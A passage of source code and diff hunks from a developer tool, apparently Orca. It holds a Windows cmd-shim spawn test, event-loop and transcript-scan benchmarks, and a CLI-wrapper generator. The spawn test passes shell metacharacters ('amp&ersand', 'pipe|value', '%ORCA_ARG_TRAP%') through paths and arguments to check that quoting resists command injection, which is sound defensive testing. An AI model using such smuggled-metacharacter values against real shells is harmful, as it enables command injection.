const tempRoot = await mkdtemp(join(tmpdir(), 'orca-claude-spawn-'))
const reportedDir = join(tempRoot, 'Profile with spaces 한글')
const reportedCapturePath = join(reportedDir, 'capture.json')
const reportedPidPath = join(reportedDir, 'pids.json')
const reportedShimPath = join(reportedDir, 'claude fixture.cmd')
const reportedFixturePath = join(reportedDir, 'capture-child.cjs')
const fixtureDir = join(tempRoot, 'Profile space & ^ (paren) %ORCA_PATH_TRAP% !bang! 한글')
const capturePath = join(fixtureDir, 'capture.json')
const pidPath = join(fixtureDir, 'pids.json')
const shimPath = join(fixtureDir, 'claude fixture.cmd')
const fixturePath = join(fixtureDir, 'capture-child.cjs')
const fixtureEnv = {
...process.env,
CLAUDE_CONFIG_DIR: join(fixtureDir, 'config space & ^ (paren) %ORCA_ENV_LITERAL% !bang! 한글'),
ORCA_ARG_TRAP: 'EXPANDED_ARG',
ORCA_PATH_TRAP: 'EXPANDED_PATH',
ORCA_FIXTURE_CAPTURE: capturePath,
ORCA_FIXTURE_PIDS: pidPath,
ORCA_FIXTURE_NODE: process.execPath
}
const reportedEnv = {
...fixtureEnv,
CLAUDE_CONFIG_DIR: join(reportedDir, 'config with spaces 한글'),
ORCA_FIXTURE_CAPTURE: reportedCapturePath,
ORCA_FIXTURE_PIDS: reportedPidPath
}
function quoteForCandidate(value) {
return `"${value.replace(/"/g, '""')}"`
}
function launch(args, command = shimPath, env = fixtureEnv) {
if (strategy === 'baseline') {
return spawn(command, args, { cwd: tempRoot, env, shell: true, windowsHide: true })
}
if (strategy === 'candidate') {
return spawn(quoteForCandidate(command), args, {
cwd: tempRoot,
env,
shell: true,
windowsHide: true
})
}
const invocation = buildWindowsCommandInvocation(command, args)
return spawn(invocation.command, invocation.args, {
cwd: tempRoot,
env,
shell: false,
windowsVerbatimArguments: invocation.windowsVerbatimArguments,
windowsHide: true
})
}
function collect(child) {
return new Promise((resolve) => {
let stdout = ''
let stderr = ''
child.stdout?.on('data', (chunk) => (stdout += chunk.toString()))
child.stderr?.on('data', (chunk) => (stderr += chunk.toString()))
child.on('error', (error) => resolve({ code: null, stdout, stderr, error: error.message }))
child.on('close', (code) => resolve({ code, stdout, stderr, error: null }))
})
}
async function waitForFile(path, timeoutMs = 5_000) {
const deadline = Date.now() + timeoutMs
while (Date.now() < deadline) {
try {
return JSON.parse(await readFile(path, 'utf8'))
} catch {
await new Promise((resolve) => setTimeout(resolve, 25))
}
}
throw new Error(`Timed out waiting for fixture output: ${path}`)
}
async function taskExists(pid) {
const result = await collect(
spawn('tasklist.exe', ['/fi', `PID eq ${pid}`, '/fo', 'csv', '/nh'], {
windowsHide: true
})
)
if (result.error || result.code !== 0) {
throw new Error(`tasklist failed for PID ${pid}: ${result.error ?? result.stderr}`)
}
return result.stdout.includes(`"${pid}"`)
}
async function killTree(pid) {
const result = await collect(
spawn('taskkill.exe', ['/pid', String(pid), '/t', '/f'], { windowsHide: true })
)
if (result.error || result.code !== 0) {
throw new Error(`taskkill failed for PID ${pid}: ${result.error ?? result.stderr}`)
}
}
async function waitForTreeExit(pids, timeoutMs = 5_000) {
const deadline = Date.now() + timeoutMs
let alive = {}
do {
alive = Object.fromEntries(
await Promise.all(
Object.entries(pids).map(async ([name, pid]) => [name, await taskExists(pid)])
)
)
if (!Object.values(alive).some(Boolean)) {
return alive
}
await new Promise((resolve) => setTimeout(resolve, 50))
} while (Date.now() < deadline)
return alive
}
const results = {
strategy,
reportedPath: null,
pathMatrix: {},
argvMatrix: {},
hostilePathAndArgv: null,
error: null,
cancellation: null
}
const fixtureSource =
`const { spawn } = require('node:child_process')\n` +
`const { writeFileSync } = require('node:fs')\n` +
`if (process.argv[2] === '--exit-error') { process.stderr.write('fixture error: 한글 & ^ % !\\n'); process.exit(23) }\n` +
`if (process.argv[2] === '--linger') {\n` +
` const grandchild = spawn(process.execPath, ['-e', 'setInterval(() => {}, 1000)'], { windowsHide: true })\n` +
` writeFileSync(process.env.ORCA_FIXTURE_PIDS, JSON.stringify({ child: process.pid, grandchild: grandchild.pid }))\n` +
` setInterval(() => {}, 1000)\n` +
`} else {\n` +
` writeFileSync(process.env.ORCA_FIXTURE_CAPTURE, JSON.stringify({ argv: process.argv.slice(2), configDir: process.env.CLAUDE_CONFIG_DIR }))\n` +
`}\n`
const shimSource = '@echo off\r\n"%ORCA_FIXTURE_NODE%" "%~dp0capture-child.cjs" %*\r\n'
let lingeringShellPid = null
try {
await mkdir(fixtureDir, { recursive: true })
await mkdir(reportedDir, { recursive: true })
await writeFile(fixturePath, fixtureSource, 'utf8')
await writeFile(shimPath, shimSource, 'utf8')
await writeFile(reportedFixturePath, fixtureSource, 'utf8')
await writeFile(reportedShimPath, shimSource, 'utf8')
const reportedArgs = ['auth', 'status', '--json']
const reportedRun = await collect(launch(reportedArgs, reportedShimPath, reportedEnv))
let reportedCapture = null
try {
reportedCapture = await waitForFile(reportedCapturePath, 1_000)
} catch {}
results.reportedPath = {
...reportedRun,
actual: reportedCapture,
expected: { argv: reportedArgs, configDir: reportedEnv.CLAUDE_CONFIG_DIR },
pass:
reportedRun.code === 0 &&
JSON.stringify(reportedCapture) ===
JSON.stringify({ argv: reportedArgs, configDir: reportedEnv.CLAUDE_CONFIG_DIR })
}
for (const [name, segment] of Object.entries({
spaces: 'profile space',
ampersand: 'profile&name',
caret: 'profile^name',
parentheses: 'profile(name)',
percent: 'profile%ORCA_PATH_TRAP%',
bang: 'profile!name',
unicode: 'profile-한글-λ'
})) {
const directory = join(tempRoot, segment)
const captureFile = join(directory, 'capture.json')
const command = join(directory, 'claude fixture.cmd')
await mkdir(directory, { recursive: true })
await writeFile(join(directory, 'capture-child.cjs'), fixtureSource, 'utf8')
await writeFile(command, shimSource, 'utf8')
const env = {
...fixtureEnv,
CLAUDE_CONFIG_DIR: join(directory, 'config'),
ORCA_FIXTURE_CAPTURE: captureFile
}
const run = await collect(launch(reportedArgs, command, env))
let actual = null
try {
actual = await waitForFile(captureFile, 500)
} catch {}
results.pathMatrix[name] = {
code: run.code,
stderr: run.stderr.trim(),
actual: actual?.argv ?? null,
pass: run.code === 0 && JSON.stringify(actual?.argv) === JSON.stringify(reportedArgs)
}
}
for (const [name, value] of Object.entries({
empty: '',
spaces: 'two words',
ampersand: 'amp&ersand',
pipe: 'pipe|value',
lessThan: 'less<value',
greaterThan: 'greater>value',
caret: 'caret^value',
trailingBackslash: 'trailing\\',
twoTrailingBackslashes: 'two-trailing\\\\',
parentheses: '(parentheses)',
percent: '%ORCA_ARG_TRAP%',
bang: 'bang!value',
unicode: '한글-λ'
})) {
const args = ['prefix', value, 'suffix']
const captureFile = join(reportedDir, `capture-${name}.json`)
const env = { ...reportedEnv, ORCA_FIXTURE_CAPTURE: captureFile }
const run = await collect(launch(args, reportedShimPath, env))
let actual = null
try {
actual = await waitForFile(captureFile, 500)
} catch {}
results.argvMatrix[name] = {
code: run.code,
stderr: run.stderr.trim(),
actual: actual?.argv ?? null,
pass: run.code === 0 && JSON.stringify(actual?.argv) === JSON.stringify(args)
}
}
const argvRun = await collect(launch(expectedArgs))
let capture = null
try {
capture = await waitForFile(capturePath, 1_000)
} catch {}
results.hostilePathAndArgv = {
...argvRun,
actual: capture,
expected: { argv: expectedArgs, configDir: fixtureEnv.CLAUDE_CONFIG_DIR },
pass:
argvRun.code === 0 &&
JSON.stringify(capture) ===
JSON.stringify({ argv: expectedArgs, configDir: fixtureEnv.CLAUDE_CONFIG_DIR })
}
results.error = await collect(launch(['--exit-error'], reportedShimPath, reportedEnv))
results.error.pass =
results.error.code === 23 && results.error.stderr.includes('fixture error: 한글 & ^ % !')
const lingering = launch(['--linger'], reportedShimPath, reportedEnv)
lingeringShellPid = lingering.pid
const lingeringResult = collect(lingering)
try {
const pids = await waitForFile(reportedPidPath)
await killTree(lingering.pid)
const alive = await waitForTreeExit({
shell: lingering.pid,
child: pids.child,
grandchild: pids.grandchild
})
results.cancellation = {
shell: lingering.pid,
...pids,
alive,
pass: !Object.values(alive).some(Boolean)
}
} catch (error) {
if (await taskExists(lingering.pid)) {
await killTree(lingering.pid)
}
const launchResult = await Promise.race([
lingeringResult,
new Promise((resolve) =>
setTimeout(
() => resolve({ code: null, error: 'fixture did not exit after cleanup' }),
5_000
)
)
])
results.cancellation = {
shell: lingering.pid,
launchResult,
pass: false,
error: error instanceof Error ? error.message : String(error)
}
}
} finally {
if (lingeringShellPid && (await taskExists(lingeringShellPid))) {
await killTree(lingeringShellPid)
}
try {
let pids
try {
pids = JSON.parse(await readFile(reportedPidPath, 'utf8'))
} catch {
pids = JSON.parse(await readFile(pidPath, 'utf8'))
}
for (const pid of [pids.child, pids.grandchild]) {
if (await taskExists(pid)) {
await killTree(pid)
}
}
} catch {}
await rm(tempRoot, { recursive: true, force: true })
}
console.log(JSON.stringify(results, null, 2))
process.exitCode =
results.reportedPath?.pass &&
Object.values(results.pathMatrix).every((result) => result.pass) &&
Object.values(results.argvMatrix).every((result) => result.pass) &&
results.hostilePathAndArgv?.pass &&
results.error?.pass &&
results.cancellation?.pass
? 0
: 1
@@ -0,0 +1,190 @@
#!/usr/bin/env node
// Benchmark: the event-loop yield in the Claude usage scanner's batch loops.
//
// scanner.ts yielded with `setTimeout(resolve, 0)`, which Node clamps to ~1ms. The
// loops yield once per FILE_SCAN_BATCH_SIZE files across two passes, so a machine with
// thousands of transcripts spent seconds parked on timers doing no work. setImmediate
// yields on the same tick's check phase with no clamp. The sibling scanner
// (src/main/codex-usage/scanner.ts) already used setImmediate.
//
// The yield exists to keep the main process responsive during a scan, so this also
// measures worst-case latency for a concurrent task -- a "faster" yield that starved
// other work would be a regression, not a win.
//
// Run with: node config/scripts/claude-usage-yield-benchmark.mjs
import { readFileSync } from 'node:fs'
import { homedir } from 'node:os'
import { join } from 'node:path'
import { performance } from 'node:perf_hooks'
import { readdirSync, statSync } from 'node:fs'
const REPO_ROOT = new URL('../..', import.meta.url)
const ROUNDS = Number(process.env.ORCA_YIELD_BENCH_ROUNDS ?? '10')
// Why re-read the source: the claim is that the scanner yields once per batch across
// two loops. If the batch size or the yield sites change, these numbers stop meaning
// what the header says, so fail loudly instead of reporting a stale ratio.
const SCANNER_SOURCE = readFileSync(new URL('src/main/claude-usage/scanner.ts', REPO_ROOT), 'utf8')
const batchMatch = SCANNER_SOURCE.match(/const FILE_SCAN_BATCH_SIZE = (\d+)/)
if (!batchMatch) {
throw new Error('FILE_SCAN_BATCH_SIZE not found; this benchmark is stale')
}
const FILE_SCAN_BATCH_SIZE = Number(batchMatch[1])
const YIELD_SITES = (SCANNER_SOURCE.match(/await yieldToEventLoop\(\)/g) ?? []).length
if (YIELD_SITES === 0) {
throw new Error('no yieldToEventLoop call sites found; this benchmark is stale')
}
// Match the call, not the word: a comment mentioning setImmediate would satisfy a
// bare substring check even after the yield reverted to setTimeout.
if (!/setImmediate\(resolve\)/.test(SCANNER_SOURCE)) {
throw new Error('scanner no longer yields with setImmediate; this benchmark is stale')
}
// Real transcript count drives the yield count, so read it rather than assume one.
function countClaudeTranscripts() {
const root = join(homedir(), '.claude', 'projects')
let count = 0
const stack = [root]
while (stack.length > 0) {
const dir = stack.pop()
let entries
try {
entries = readdirSync(dir, { withFileTypes: true })
} catch {
continue
}
for (const entry of entries) {
if (entry.isDirectory()) {
stack.push(join(dir, entry.name))
} else if (entry.name.endsWith('.jsonl')) {
count += 1
}
}
}
return count
}
const transcriptCount = (() => {
try {
statSync(join(homedir(), '.claude', 'projects'))
return countClaudeTranscripts()
} catch {
return 0
}
})()
const FALLBACK_TRANSCRIPTS = 7500
const effectiveTranscripts = transcriptCount > 0 ? transcriptCount : FALLBACK_TRANSCRIPTS
// Each pass walks ceil(files / batch) batches and yields after every batch except the
// last, so a pass yields batchesPerPass - 1 times.
const BATCHES_PER_PASS = Math.max(1, Math.ceil(effectiveTranscripts / FILE_SCAN_BATCH_SIZE))
const YIELDS_PER_SCAN = Math.max(1, (BATCHES_PER_PASS - 1) * YIELD_SITES)
const yieldWithTimeout = () => new Promise((resolve) => setTimeout(resolve, 0))
const yieldWithImmediate = () => new Promise((resolve) => setImmediate(resolve))
// Mirrors the scanner's shape: a little synchronous work per batch, then a yield.
async function runBatchLoop(doYield, batches) {
let sink = 0
for (let batch = 0; batch < batches; batch += 1) {
for (let file = 0; file < FILE_SCAN_BATCH_SIZE; file += 1) {
sink += (batch * 31 + file) % 7
}
if (batch + 1 < batches) {
await doYield()
}
}
return sink
}
async function timeArm(doYield, batches) {
const start = performance.now()
const sink = await runBatchLoop(doYield, batches)
const elapsed = performance.now() - start
if (sink === -1) {
throw new Error('unreachable')
}
return elapsed
}
function median(samples) {
const sorted = [...samples].sort((a, b) => a - b)
const mid = sorted.length / 2
return (sorted[mid - 1] + sorted[mid]) / 2
}
// Arms alternate which one leads so within-round drift cannot favour either.
async function measure(batches) {
await runBatchLoop(yieldWithTimeout, Math.min(batches, 50))
await runBatchLoop(yieldWithImmediate, Math.min(batches, 50))
const timeoutSamples = []
const immediateSamples = []
for (let round = 0; round < ROUNDS; round += 1) {
if (round % 2 === 0) {
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
} else {
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
}
}
return { timeoutMs: median(timeoutSamples), immediateMs: median(immediateSamples) }
}
// The yield exists for responsiveness, so measure what a concurrent task actually sees.
async function measureConcurrentLatency(doYield, batches) {
let worstLatencyMs = 0
let stop = false
const probe = (async () => {
while (!stop) {
const tick = performance.now()
await new Promise((resolve) => setImmediate(resolve))
worstLatencyMs = Math.max(worstLatencyMs, performance.now() - tick)
}
})()
const start = performance.now()
await runBatchLoop(doYield, batches)
const scanMs = performance.now() - start
stop = true
await probe
return { scanMs, worstLatencyMs }
}
const pad = (value, width) => String(value).padStart(width)
console.log('Claude usage scanner event-loop yield. Lower is better.')
console.log(
`transcripts=${transcriptCount > 0 ? transcriptCount : `${FALLBACK_TRANSCRIPTS} (none found; synthetic)`} batch=${FILE_SCAN_BATCH_SIZE} sites=${YIELD_SITES} -> ~${YIELDS_PER_SCAN} yields/scan`
)
console.log(
`${pad('yields', 8)} ${pad('setTimeout(0)', 14)} ${pad('setImmediate', 13)} ${pad('speedup', 9)} ${pad('saved', 11)}`
)
for (const yields of [100, 500, YIELDS_PER_SCAN]) {
// runBatchLoop yields batches - 1 times, so ask for one more batch than yields.
const batches = yields + 1
const { timeoutMs, immediateMs } = await measure(batches)
// Why report the absolute saving too: the setImmediate arm is small enough that
// background load moves the RATIO a lot while the removed wall time barely budges.
console.log(
`${pad(yields, 8)} ${pad(`${timeoutMs.toFixed(1)} ms`, 14)} ${pad(`${immediateMs.toFixed(1)} ms`, 13)} ${pad(`${(timeoutMs / immediateMs).toFixed(1)}x`, 9)} ${pad(`${(timeoutMs - immediateMs).toFixed(0)} ms`, 11)}`
)
}
console.log('\nResponsiveness (the reason the yield exists) at a full scan:')
const timeoutLatency = await measureConcurrentLatency(yieldWithTimeout, YIELDS_PER_SCAN + 1)
const immediateLatency = await measureConcurrentLatency(yieldWithImmediate, YIELDS_PER_SCAN + 1)
console.log(
` setTimeout(0): scan ${timeoutLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${timeoutLatency.worstLatencyMs.toFixed(2)} ms`
)
console.log(
` setImmediate : scan ${immediateLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${immediateLatency.worstLatencyMs.toFixed(2)} ms`
)
if (immediateLatency.worstLatencyMs > timeoutLatency.worstLatencyMs) {
console.log(
'\n NOTE: setImmediate showed a WORSE concurrent wait here. The yield exists for\n responsiveness, so that would be a regression even though the scan is faster.'
)
}
console.log(
'\nRead the SAVED column, not the ratio. The setImmediate arm is small enough that\nbackground load swings the ratio (32x-81x observed across runs on a loaded machine)\nwhile the removed wall time stays at ~4.2-5.1 s. The saving is wall-clock the main\nprocess spent parked on timer clamps, not CPU work removed. It is paid on every\nUsage-pane scan and every forced automation rescan.'
)
@@ -0,0 +1,427 @@
#!/usr/bin/env node
// Benchmark: cost of resolving a Command Code turn prompt from the transcript,
// paid on EVERY command-code hook event (PreToolUse/PostToolUse fire once per
// tool call, so many per second during an active agent turn).
//
// Before the fix, readLastCommandCodeUserPromptEntryFromTranscript() read up to
// TRANSCRIPT_MAX_SCAN_BYTES (4 MB) synchronously, decoded it all to a JS string,
// and JSON-parsed EVERY line to the end of the buffer to find the LAST user
// entry — so cost grew with the transcript, which only grows as a session runs.
//
// The fix scans backward from EOF in TRANSCRIPT_CHUNK_BYTES blocks and returns
// on the first user line, the shape the sibling readLastTextFromTranscriptOnce
// already used. The answer sits near EOF in a real session (the current turn's
// prompt precedes only this turn's output), so the scan reads one or two blocks
// instead of the whole file.
//
// Both implementations are mirrored here: node cannot import the .ts source,
// matching the other benchmarks in this directory. Constants are re-read from
// the real module so a drifted cap fails loudly instead of measuring dead code.
import {
closeSync,
mkdtempSync,
openSync,
readFileSync,
readSync,
rmSync,
statSync,
writeFileSync
} from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const LISTENER_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/shared/agent-hook-listener.ts', import.meta.url)),
'utf8'
)
function readMirroredConstant(name) {
const match = LISTENER_SOURCE.match(new RegExp(`const ${name} = ([^\\n]+)`))
if (!match) {
throw new Error(`agent-hook-listener.ts no longer defines ${name}; re-sync this benchmark.`)
}
const value = Number(new Function(`return (${match[1]})`)())
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} did not resolve to a positive integer`)
}
return value
}
const TRANSCRIPT_CHUNK_BYTES = readMirroredConstant('TRANSCRIPT_CHUNK_BYTES')
const TRANSCRIPT_MAX_SCAN_BYTES = readMirroredConstant('TRANSCRIPT_MAX_SCAN_BYTES')
const EMPTY_REGION = Buffer.alloc(0)
const ITERATIONS = Number.parseInt(process.env.ORCA_CC_SCAN_BENCH_ITERATIONS ?? '150', 10)
const WARMUP = Number.parseInt(process.env.ORCA_CC_SCAN_BENCH_WARMUP ?? '20', 10)
for (const [name, value] of [
['ORCA_CC_SCAN_BENCH_ITERATIONS', ITERATIONS],
['ORCA_CC_SCAN_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
// Mirror of parseAgentHookJson: the real reader scans a line's structure before
// parsing it, on BOTH sides of this comparison. Omitting it made the pre-fix
// column ~9x too fast and invented a regression that does not exist.
const HOOK_STRUCTURAL_TOKENS = 128 * 1024
const HOOK_NESTING_DEPTH = 64
function assertJsonStructure(content) {
let structuralTokens = 0
let depth = 0
let inString = false
let escaped = false
for (let index = 0; index < content.length; index += 1) {
const character = content[index]
if (inString) {
if (escaped) {
escaped = false
} else if (character === '\\') {
escaped = true
} else if (character === '"') {
inString = false
}
continue
}
if (character === '"') {
inString = true
continue
}
if (
character !== '{' &&
character !== '}' &&
character !== '[' &&
character !== ']' &&
character !== ',' &&
character !== ':'
) {
continue
}
structuralTokens += 1
if (structuralTokens > HOOK_STRUCTURAL_TOKENS) {
throw new Error('structuralTokens')
}
if (character === '{' || character === '[') {
depth += 1
if (depth > HOOK_NESTING_DEPTH) {
throw new Error('nestingDepth')
}
} else if (character === '}' || character === ']') {
depth = Math.max(0, depth - 1)
}
}
}
function extractUserPrompt(line) {
let entry
try {
assertJsonStructure(line)
entry = JSON.parse(line)
} catch {
return undefined
}
if (typeof entry !== 'object' || entry === null || entry.role !== 'user') {
return undefined
}
const content = entry.content
if (typeof content === 'string' && content.trim().length > 0) {
return content
}
if (Array.isArray(content)) {
for (const part of content) {
if (typeof part === 'object' && part !== null) {
const text = part.text
if (typeof text === 'string' && text.trim().length > 0) {
return text
}
}
}
}
return undefined
}
// Pre-fix: read the capped window, then parse every line to the end.
function readForward(path) {
const size = statSync(path).size
if (size <= 0) {
return undefined
}
const bytesToRead = Math.min(size, TRANSCRIPT_MAX_SCAN_BYTES)
const position = size - bytesToRead
const fd = openSync(path, 'r')
try {
const buffer = Buffer.alloc(bytesToRead)
let filled = 0
while (filled < bytesToRead) {
const n = readSync(fd, buffer, filled, bytesToRead - filled, position + filled)
if (n === 0) {
break
}
filled += n
}
let text = buffer.subarray(0, filled).toString('utf8')
if (position > 0) {
const firstNewline = text.indexOf('\n')
text = firstNewline === -1 ? '' : text.slice(firstNewline + 1)
}
let last
for (const line of text.split('\n')) {
const prompt = extractUserPrompt(line.trim())
if (prompt !== undefined) {
last = prompt
}
}
return last
} finally {
closeSync(fd)
}
}
function findLastPromptInRegion(region) {
let lineEnd = region.length
for (let index = region.length - 1; index >= -1; index--) {
if (index >= 0 && region[index] !== 0x0a) {
continue
}
const lineStart = index + 1
if (lineEnd > lineStart) {
const prompt = extractUserPrompt(region.subarray(lineStart, lineEnd).toString('utf8').trim())
if (prompt !== undefined) {
return prompt
}
}
lineEnd = index
}
return undefined
}
// Post-fix: walk backward from EOF, return on the first user line. The carry is
// a chunk list, not a re-joined buffer, so one oversized line stays linear.
function readBackward(path) {
const size = statSync(path).size
if (size <= 0) {
return undefined
}
const fd = openSync(path, 'r')
try {
let carryChunks = []
let bytesRead = 0
let scanEnd = size
while (scanEnd > 0 && bytesRead < TRANSCRIPT_MAX_SCAN_BYTES) {
const chunkSize = Math.min(
scanEnd,
TRANSCRIPT_CHUNK_BYTES,
TRANSCRIPT_MAX_SCAN_BYTES - bytesRead
)
const position = scanEnd - chunkSize
const buffer = Buffer.alloc(chunkSize)
let filled = 0
while (filled < chunkSize) {
const n = readSync(fd, buffer, filled, chunkSize - filled, position + filled)
if (n === 0) {
break
}
filled += n
}
if (filled < chunkSize) {
break
}
bytesRead += filled
scanEnd = position
const firstNewline = buffer.indexOf(0x0a)
const atStart = position === 0
let completeRegion
if (atStart) {
completeRegion = carryChunks.length === 0 ? buffer : Buffer.concat([buffer, ...carryChunks])
carryChunks = []
} else if (firstNewline === -1) {
completeRegion = EMPTY_REGION
carryChunks.unshift(buffer)
} else {
const afterNewline = buffer.subarray(firstNewline + 1)
completeRegion =
carryChunks.length === 0 ? afterNewline : Buffer.concat([afterNewline, ...carryChunks])
carryChunks = [buffer.subarray(0, firstNewline)]
}
if (completeRegion.length > 0) {
const found = findLastPromptInRegion(completeRegion)
if (found !== undefined) {
return found
}
}
}
return undefined
} finally {
closeSync(fd)
}
}
// A real session: many completed turns, then THIS turn's prompt, then the tool
// output produced since. The prompt therefore sits near EOF.
function writeTranscript(path, priorTurns) {
const lines = []
for (let index = 0; index < priorTurns; index += 1) {
lines.push(
JSON.stringify({ role: 'user', content: [{ type: 'text', text: `older turn ${index}` }] })
)
lines.push(
JSON.stringify({
role: 'assistant',
content: [{ type: 'text', text: `${'assistant output '.repeat(30)}${index}` }]
})
)
}
lines.push(
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] })
)
for (let index = 0; index < 40; index += 1) {
lines.push(
JSON.stringify({
role: 'assistant',
content: [{ type: 'text', text: `${'current turn output '.repeat(30)}${index}` }]
})
)
}
writeFileSync(path, `${lines.join('\n')}\n`)
}
// A turn already in progress: `trailingBytes` of tool output sits between the
// prompt and EOF, which is what the backward scan has to read past.
function writeTranscriptWithTrailing(path, priorTurns, trailingBytes) {
const lines = []
for (let index = 0; index < priorTurns; index += 1) {
lines.push(
JSON.stringify({ role: 'user', content: [{ type: 'text', text: `older turn ${index}` }] })
)
lines.push(
JSON.stringify({
role: 'assistant',
content: [{ type: 'text', text: `${'assistant output '.repeat(30)}${index}` }]
})
)
}
lines.push(
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] })
)
let written = 0
let index = 0
while (written < trailingBytes) {
const line = JSON.stringify({
role: 'assistant',
content: [{ type: 'text', text: `${'current turn output '.repeat(30)}${index}` }]
})
lines.push(line)
written += line.length + 1
index += 1
}
writeFileSync(path, `${lines.join('\n')}\n`)
}
// One tool result larger than many read blocks — the shape with no newline for
// the backward scan to stop on.
function writeTranscriptWithHugeLine(path, lineBytes) {
const lines = [
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] }),
JSON.stringify({ role: 'assistant', content: [{ type: 'text', text: 'x'.repeat(lineBytes) }] })
]
writeFileSync(path, `${lines.join('\n')}\n`)
}
function measure(fn, path) {
for (let index = 0; index < WARMUP; index += 1) {
fn(path)
}
const samples = []
for (let round = 0; round < 3; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
fn(path)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[1]
}
const dir = mkdtempSync(join(tmpdir(), 'orca-cc-transcript-bench-'))
try {
const rows = []
for (const priorTurns of [250, 1000, 3000, 6000]) {
const path = join(dir, `transcript-${priorTurns}.jsonl`)
writeTranscript(path, priorTurns)
const forward = readForward(path)
const backward = readBackward(path)
if (forward !== backward) {
throw new Error(`prompt mismatch at ${priorTurns} prior turns: ${forward} vs ${backward}`)
}
if (backward !== 'the current prompt') {
throw new Error(`benchmark fixture resolved the wrong prompt: ${backward}`)
}
rows.push({
sizeMb: statSync(path).size / (1024 * 1024),
beforeMs: measure(readForward, path),
afterMs: measure(readBackward, path)
})
}
const pad = (value, width) => String(value).padStart(width)
console.log('Command Code transcript prompt read, per hook event')
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 3 rounds)`)
console.log(
`${pad('size', 9)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('speedup', 9)}`
)
for (const row of rows) {
console.log(
`${pad(`${row.sizeMb.toFixed(2)} MB`, 9)} ${pad(row.beforeMs.toFixed(3), 11)} ${pad(row.afterMs.toFixed(3), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(0)}x`, 9)}`
)
}
console.log(
'\nThe old cost grows with the transcript; the new cost is flat because the\ncurrent turn’s prompt sits near EOF and the scan stops at the first hit.'
)
// Worst cases, reported even where the ratio is below 1x. The new cost scales
// with bytes-AFTER the prompt, so a long turn (many tool calls since the ask)
// and a single oversized tool result are where the win decays or inverts.
const worst = []
for (const trailingKb of [32, 256, 1024, 3072]) {
const path = join(dir, `trailing-${trailingKb}.jsonl`)
writeTranscriptWithTrailing(path, 1500, trailingKb * 1024)
if (readForward(path) !== readBackward(path)) {
throw new Error(`prompt mismatch at trailing ${trailingKb} KB`)
}
worst.push({
label: `${(trailingKb / 1024).toFixed(2)} MB after prompt`,
beforeMs: measure(readForward, path),
afterMs: measure(readBackward, path)
})
}
const hugePath = join(dir, 'huge-line.jsonl')
writeTranscriptWithHugeLine(hugePath, 3 * 1024 * 1024)
if (readForward(hugePath) !== readBackward(hugePath)) {
throw new Error('prompt mismatch on the oversized-line fixture')
}
worst.push({
label: '3 MB single line',
beforeMs: measure(readForward, hugePath),
afterMs: measure(readBackward, hugePath)
})
console.log('\nWorst cases (win decays as a turn progresses; <1x means slower):')
console.log(
`${pad('case', 22)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('ratio', 9)}`
)
for (const row of worst) {
console.log(
`${pad(row.label, 22)} ${pad(row.beforeMs.toFixed(3), 11)} ${pad(row.afterMs.toFixed(3), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(2)}x`, 9)}`
)
}
console.log(
'\nThe win shrinks toward parity as output accumulates after the prompt, since\nthe backward scan has to read past all of it. The single-line row is the floor:\nno newline to stop on, so the scan reads the line in blocks and joins once where\nthe old code issued one flat read. Both sides pay the same per-line structure\nscan, and the carry is a chunk list, so cost stays linear either way.'
)
} finally {
rmSync(dir, { recursive: true, force: true })
}
@@ -0,0 +1,40 @@
import { chmodSync, mkdirSync, writeFileSync } from 'node:fs'
import path from 'node:path'
function escapeWindowsBatchValue(value) {
// Why: cmd.exe expands %NAME% even inside quotes, so literal path percent signs must be doubled.
return value.replaceAll('%', '%%')
}
export function prepareDevCliTerminalWrappers({
repoRoot,
userDataPath,
electronExecutable,
platform = process.platform
}) {
const binDir = path.join(repoRoot, 'out', 'bin')
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
mkdirSync(binDir, { recursive: true })
mkdirSync(userDataBinDir, { recursive: true })
if (platform === 'win32') {
const wrapperContent = `@echo off\r\nset "ORCA_USER_DATA_PATH=${escapeWindowsBatchValue(userDataPath)}"\r\nset "ORCA_DEV_CLI_INVOCATION=1"\r\nset "ORCA_APP_EXECUTABLE=${escapeWindowsBatchValue(electronExecutable)}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${escapeWindowsBatchValue(cliPath)}" %*\r\n`
for (const targetDir of [binDir, userDataBinDir]) {
for (const commandName of ['orca-dev.cmd', 'orca.cmd']) {
writeFileSync(path.join(targetDir, commandName), wrapperContent, 'utf8')
}
}
} else {
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_DEV_CLI_INVOCATION=1\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronExecutable)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
for (const targetDir of [binDir, userDataBinDir]) {
for (const commandName of ['orca-dev', 'orca']) {
const wrapperPath = path.join(targetDir, commandName)
writeFileSync(wrapperPath, wrapperContent, 'utf8')
chmodSync(wrapperPath, 0o755)
}
}
}
return { binDir, userDataBinDir }
}
@@ -0,0 +1,70 @@
import { mkdtempSync, readFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
